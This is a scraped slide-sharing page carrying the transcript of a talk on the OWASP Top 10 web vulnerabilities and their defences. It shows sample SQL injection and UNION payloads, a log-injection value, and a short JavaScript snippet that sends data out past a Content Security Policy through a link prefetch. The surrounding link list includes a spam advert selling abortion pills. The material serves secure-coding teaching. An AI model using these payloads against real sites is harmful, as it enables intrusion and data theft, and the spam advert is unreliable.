Alexandr Golyak, Nikolay Chertkov  "Automotive Testing vs Test Automatio"Alexandr Golyak, Nikolay Chertkov  "Automotive Testing vs Test Automatio"
Alexandr Golyak, Nikolay Chertkov "Automotive Testing vs Test Automatio"
 
Michal Kordas "Docker: Good, Bad or Both"
Michal Kordas "Docker: Good, Bad or Both"Michal Kordas "Docker: Good, Bad or Both"
Michal Kordas "Docker: Good, Bad or Both"
 
Kolomiyets Dmytro "Dealing with Multiple Caches, When Developing Microservices"
Kolomiyets Dmytro "Dealing with Multiple Caches, When Developing Microservices"Kolomiyets Dmytro "Dealing with Multiple Caches, When Developing Microservices"
Kolomiyets Dmytro "Dealing with Multiple Caches, When Developing Microservices"
 
Shestakov Illia "The Sandbox Theory"
Shestakov Illia "The Sandbox Theory"Shestakov Illia "The Sandbox Theory"
Shestakov Illia "The Sandbox Theory"
 
Dmytro Kochergin “Autotest with CYPRESS”
Dmytro Kochergin “Autotest with CYPRESS”Dmytro Kochergin “Autotest with CYPRESS”
Dmytro Kochergin “Autotest with CYPRESS”
 
Ivan Dryzhyruk “Ducks Don’t Like Bugs”
Ivan Dryzhyruk “Ducks Don’t Like Bugs”Ivan Dryzhyruk “Ducks Don’t Like Bugs”
Ivan Dryzhyruk “Ducks Don’t Like Bugs”
 

Recently uploaded

Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyKhushali Kathiriya
 
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Victor Rentea
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Angeliki Cooney
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...Zilliz
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MIND CTI
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobeapidays
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxRustici Software
 
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...apidays
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024The Digital Insurer
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...DianaGray10
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Orbitshub
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesrafiqahmad00786416
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native ApplicationsWSO2
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businesspanagenda
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 

Recently uploaded (20)

Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
Apidays New York 2024 - APIs in 2030: The Risk of Technological Sleepwalk by ...
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
Navigating the Deluge_ Dubai Floods and the Resilience of Dubai International...
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 

Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications and How to Protect Against Them"

  • 1. www.luxoft.com OWASP TOP 10 typical attacks on web applications and protection Dmytro Kochergin
  • 2. www.luxoft.com Motivation ● “Рассказ о том, как я ворую номера кредиток и пароли у посетителей ваших сайтов” (source) ● Several security audits ○ Burp suite ○ SQLMAP ● Penetration testers
  • 3. www.luxoft.com Goal ● Сomplicate hacking of application as much as possible ○ System can be compromised any time, even when you are logged in ○ You don’t know vulnerabilities until they are fired ○ Even worldwide systems regularly compromised (Apple, Tesla, ...)
  • 4. www.luxoft.com What is OWASP Non-profit organization, project that began as an enthusiast's idea, and became the most authoritative source for classifying attack vectors and vulnerabilities in web applications.
  • 5. www.luxoft.com OWASP Top 10 1. Injection 2. Broken Authentication 3. Sensitive Data Exposure 4. External Entities (XXE) 5. Broken Access Control 6. Security Misconfiguration 7. Cross-Site Scripting (XSS) 8. Insecure Deserialization 9. Using Components with Known Vulnerabilities 10. Insufficient Logging & Monitoring
  • 6. www.luxoft.com 1. Injection 1. # SQL query vulnerable to SQL Injection sql = “SELECT id FROM users WHERE username=’” + username + “’ AND password=’” + password + “’” 1. # Injection password' OR 1=1 1. # Modified query SELECT id FROM users WHERE username='username' AND password='password' OR 1=1
  • 7. www.luxoft.com 1. Injection 1. # SQL query vulnerable to UNION SQL Injection sql = “SELECT email, first_name FROM users WHERE id = ” + id 1. # Injection 1 UNION SELECT email, password FROM users 1 UNION SELECT 1,1,1 FROM all_tables 1 UNION SELECT 1,1,1 FROM information_schema.tables 1. # Modified query SELECT email, first_name FROM users WHERE id = 1 UNION SELECT email, password FROM users
  • 9. www.luxoft.com 1. Injection: How to Prevent Primary Defenses: ● Use of Prepared Statements (with Parameterized Queries) ● Use of Stored Procedures ● Whitelist Input Validation ● Escaping All User Supplied Input Additional Defenses: ● Enforcing Least Privilege to application DB account ● Performing Whitelist Input Validation as a Secondary Defense
  • 10. www.luxoft.com 2. Broken Authentication: How to Prevent ● Multi-factor authentication. ● No default credentials, particularly for admin users. ● Weak-password checks, such as testing against top 10000 worst passwords. ● Align password length, complexity and rotation policies with NIST 800-63 B's guidelines in section 5.1.1 for Memorized Secrets or other modern, evidence based password policies.
  • 11. www.luxoft.com Authentication: Password strength 1. Password must meet at least 3 out of the following 4 complexity rules a. at least 1 uppercase character (A-Z) b. at least 1 lowercase character (a-z) c. at least 1 digit (0-9) d. at least 1 special character (punctuation) — treat space as special characters too e. No dictionary words, no names or close words 2. at least 10 characters 3. at most 128 characters 4. not more than 2 identical characters in a row (e.g., 111 not allowed) 5. password should be changed every 90 days?? 6. last 10 passwords may not be reused
  • 12. www.luxoft.com Authentication: User lockout User should be locked after 3-5 invalid logins - prevents brute force attack
  • 13. www.luxoft.com 2. Broken Authentication: How to Prevent ● Use same messages for all login errors "Login for User foo: invalid password" "Login failed, invalid user ID" "Login failed; account disabled" "Login failed; this user is not active" "Login failed; Invalid userID or password"
  • 14. www.luxoft.com 2. Broken Authentication: How to Prevent ● Limit or increasingly delay failed login attempts. Log all failures and alert administrators when credential stuffing, brute force, or other attacks are detected. ● Use a server-side, secure, built-in session manager that generates a new randomsession ID with high entropy after login. Session IDs should not be in the URL, be securely stored and invalidated after logout, idle, and absolute timeouts.
  • 15. www.luxoft.com 3. Sensitive Data Exposure: How to Prevent 1. Do not log it (including stacktraces) 2. Encrypt all data, also in transit with secure protocols such as TLS (HSTS) 3. Store passwords using strong adaptive and salted hashing functions with a work factor (delay factor), such as: a. Argon2- OWASP recommended b. PBKDF2 - when FIPS certification or enterprise support on many platforms is required i. FIPS (Federal Information Processing Standard) - U.S. government computer security standard used to approve cryptographic modules. c. Scrypt - when resisting any/all hardware accelerated attacks is necessary but support isn’t d. Bcrypt - where PBKDF2 or Scrypt support is not available. e. Cryptographically strong credential-specific salt i. return [salt] + pbkdf2([salt], [credential], c=[iteration_count]); f. Work factor (delay factor) - run protect() as slow as possible without affecting the users.
  • 19. www.luxoft.com 3. Sensitive Data Exposure: HTTP headers
  • 21. www.luxoft.com 3. Sensitive Data Exposure: Directory Listing
  • 22. www.luxoft.com 4. External Entities (XXE) 1. Untrusted XML input containing a reference to an external entity is processed by a weakly configured XML parser a. XML Security Cheat Sheet b. XML External Entity Prevention Cheat Sheet
  • 23. www.luxoft.com 5. Broken Access Control: How to Prevent Access Control / Authorization - grant or deny access to particular resource. 1. Deny by default, except public resources 2. Send all requests through the access control system 3. Minimum privileges principle 4. Avoid hardcoded roles 5. Log everything 6. Use Access Control Policy: a. Role Based Access Control (RBAC); b. Permission Based Access Control (PBAC / ABAC); c. Discretionary Access Control (DAC); d. Mandatory Access Control (MAC).
  • 24. www.luxoft.com 6. Security Misconfiguration ● Remove default accounts, unused pages, unprotected files and directories ● Remove or do not install unused features and frameworks ● Error handling hides stack traces ● Software and dependencies should be up-to-date ● Latest security features should be enabled and configured securely ● Minimum privileges principle
  • 27. www.luxoft.com 7. Cross-Site Scripting (XSS) XSS methods: ● Session hijacking ● Form data theft ● DDoS-attack ● CSRF/XSRF ● Social networks XSS-worms ● Google Analytics and counters
  • 28. www.luxoft.com 7. Cross-Site Scripting (XSS): How to Prevent ● Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework's XSS protection and appropriately handle the use cases which are not covered (XSS is React) ○ Don’t ever use eval() or dangerouslySetInnerHTML ○ Avoid parsing user-supplied JSON. ● Validate Before Inserting Untrusted Data into HTML (+ escaping) ● Use HTTPOnly cookie flag - JS code cannot read cookie value. ● Enabling a Content Security Policy (CSP) ○ Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain; frame-ancestors 'none' ○ More powerful than X-Frame-Options.
  • 29. www.luxoft.com Content Security Policy CSP workaround: const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl);
  • 31. www.luxoft.com 1. HTTPS 2. Use client fingerprint 3. Terminate session if fingerprint changed (+ logging + notification) 4. Additional a. Logout button should be available b. Renew session ID after any privilege level change c. Automatic session expiration, both on client idle time and absolute timeout d. Force session logout on web browser window close events e. Alert and deauthorize old session ID if simultaneous logins are detected f. Alert and deauthorize old session ID if user is deactivated g. Disable web browser cross-tab sessions h. Protect session ID cookie with flags: HttpOnly + Secure + SameSite + cookie prefixes i. Log any authentication/authorization actions Session hijacking: How to Prevent
  • 32. www.luxoft.com Log Injection Attacker may be able to insert false entries into the log String val = request.getParameter("val"); try { int value = Integer.parseInt(val); } catch (NumberFormatException) { log.info("Failed to parse val = " + val); } ● val = "twenty-one" INFO: Failed to parse val=twenty-one ● val = "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy" INFO: Failed to parse val=twenty-one INFO: User logged out=badguy
  • 33. www.luxoft.com 8. Insecure Deserialization 1. Attacker modifies application logic or achieves arbitrary remote code execution 2. Existing data structures are used but the content is changed
  • 34. www.luxoft.com 9. Using Components with Known Vulnerabilities 1. Use libraries and frameworks from trusted sources that actively developed and widely used in applications a. maintain catalog of third-party libraries; b. timely update libraries and components. 2. Use automatic dependencies check tools such as a. OWASP Dependency Check b. Retire.JS
  • 35. www.luxoft.com 10. Insufficient Logging & Monitoring 1. All login, access control failures, and server-side input validation failures should be logged 2. Logs should be gathered using centralized log management solutions 3. High-value transactions should have an audit trail 4. Effective monitoring and alerting such that suspicious activities
  • 36. www.luxoft.com Cross-Site Request Forgery (CSRF) CSRF - Web application can not verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. Malicious site instructs a victim's browser to send a request to an honest site, as if the request were part of the victim's interaction with the honest site.
  • 38. www.luxoft.com Cross-Site Request Forgery (CSRF) An active exploit of CSRF against residential ADSL routers in Mexico in early 2008 An e-mail with a malicious IMG tag was sent to victims. By accessing the image in the mail, the user initiated a router command to change the DNS entry of a leading Mexican bank, making any subsequent access by a user to the bank go through the attacker's server.
  • 39. www.luxoft.com Cross-Site Request Forgery (CSRF): How to Prevent 1. Token Based Mitigation a. Synchronizer Token Pattern (server-side) b. Encryption based Token Pattern (client side) c. HMAC Based Token Pattern (client side) 2. Origin/Referer header (server-side) 3. Custom Request Headers
  • 40. www.luxoft.com Cross-Site Request Forgery (CSRF) - Do I need CSRF token if I'm using Bearer JWT? - No, if token is not sent in cookies If submitting Token via XHR as an Authorization header, then no the extra X-XSRF-Token header will not add "extra" security.
  • 44. www.luxoft.com JWT attacks 1. Token sidejacking a. Add fingerprint information to the token. i. Random string to be included into the token to hardened cookie that is received from server (flags: HttpOnly + Secure + SameSite + cookie prefixes). ii. A SHA256 hash of the random string will be stored in the token. iii. Do not use IP-addresses, which can change on mobile devices, etc 2. Token explicit revocation by the user a. Use JWT library with token blacklisting
  • 45. www.luxoft.com JWT attacks 3. Incorrect Token storage on client side a. Do not store token in cookies and localStorage i. Cookies are vulnerable to CSRF ii. LocalStorage is vulnerable to XSS. b. Store the token in browser sessionStorage. c. Add it as a Authorization Bearer HTTP header. i. Authorization: Bearer <token> d. Add fingerprint information to the token. 4. Token weak secret a. Use more than 50 symbols secret i. A&'/}Z57M(2hNg=;LE?~]YtRMS5(yZ<vcZTA3N-($>2j:ZeX- BGftaVk`)jKP~q?,jk)EMbgt*kW'
  • 47. www.luxoft.com Clickjacking: How to Prevent 1. Content Security Policy (CSP) 2. X-Frame-Options: deny 3. Defensive code in the UI to ensure that the current frame is the most top level window
  • 48. www.luxoft.com Clickjacking Best-for-now Legacy Browser Frame Breaking Script: <style id="antiClickjack"> body{display:none !important;} </style> <!-- ======================================== --> <script type="text/javascript"> if (self === top) { var antiClickjack = document.getElementById("antiClickjack"); antiClickjack.parentNode.removeChild(antiClickjack); } else { top.location = self.location; } </script>
  • 49. www.luxoft.com Clickjacking Insecure Non-Working Scripts DO NOT USE: <script> if (top!=self) top.location.href=self.location.href </script> Ways to break this code: 1. Double Framing 2. onBeforeUnload event 3. No-Content Flushing 4. Exploiting XSS filters 5. Clobbering top.location 6. Restricted zones
  • 51. www.luxoft.com How to defend 1. Processes: a. Secure development lifecycle (SDL, developed by Microsoft) b. Product security team / penetration testers c. Team trainings + external (IOActive advisory services) d. Static code analysis (Tools and Software) e. Crowdfunding / Rewards Program 2. External security audits
  • 52. www.luxoft.com Tools Free 1. OWASP ZAP 2. Nmap 3. Metasploit 4. SQLmap 5. Wireshark 6. Ettercap 7. BeEF 8. Tenable.io 9. Paros 10. W9scan 11. Wapiti 12. Arachni 13. Paros 💲 1. Coverity (C#) 2. Burp suite Pro 3. Acunetix 4. Charles 5. Veracode
  • 53. www.luxoft.com Links 1. Чем искать уязвимости веб-приложений: сравниваем восемь популярных сканеров 2. Как провести тестирование на безопасность: руководство для Manual QA

Editor's Notes

  1. https://habr.com/ru/company/ruvds/blog/346442/
  2. https://habr.com/ru/company/ruvds/blog/346442/
  3. https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf
  4. Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
  5. Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser. https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Password_Storage_Cheat_Sheet.md
  6. https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Access_Control_Cheat_Sheet.md
  7. Ох, вот уж неожиданность. А кто-нибудь сказал вам, что политика защиты контента (Content Security Policy, CSP) не даст вредоносному коду отправлять данные на какой-нибудь хитрый домен? Мне не нравится играть роль того, кто приносит плохие новости, но следующие четыре строки кода проскочат мимо даже самой жёсткой CSP: const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl);
  8. https://www.owasp.org/index.php/Log_Injection
  9. https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.md
  10. https://security.stackexchange.com/questions/170388/do-i-need-csrf-token-if-im-using-bearer-jwt
  11. https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/JSON_Web_Token_Cheat_Sheet_for_Java.md
  12. https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/JSON_Web_Token_Cheat_Sheet_for_Java.md
  13. https://www.owasp.org/index.php/Clickjacking https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Clickjacking_Defense_Cheat_Sheet.md
  14. https://www.owasp.org/index.php/Clickjacking https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Clickjacking_Defense_Cheat_Sheet.md
  15. https://www.owasp.org/index.php/Clickjacking https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Clickjacking_Defense_Cheat_Sheet.md
  16. https://www.owasp.org/index.php/Clickjacking https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Clickjacking_Defense_Cheat_Sheet.md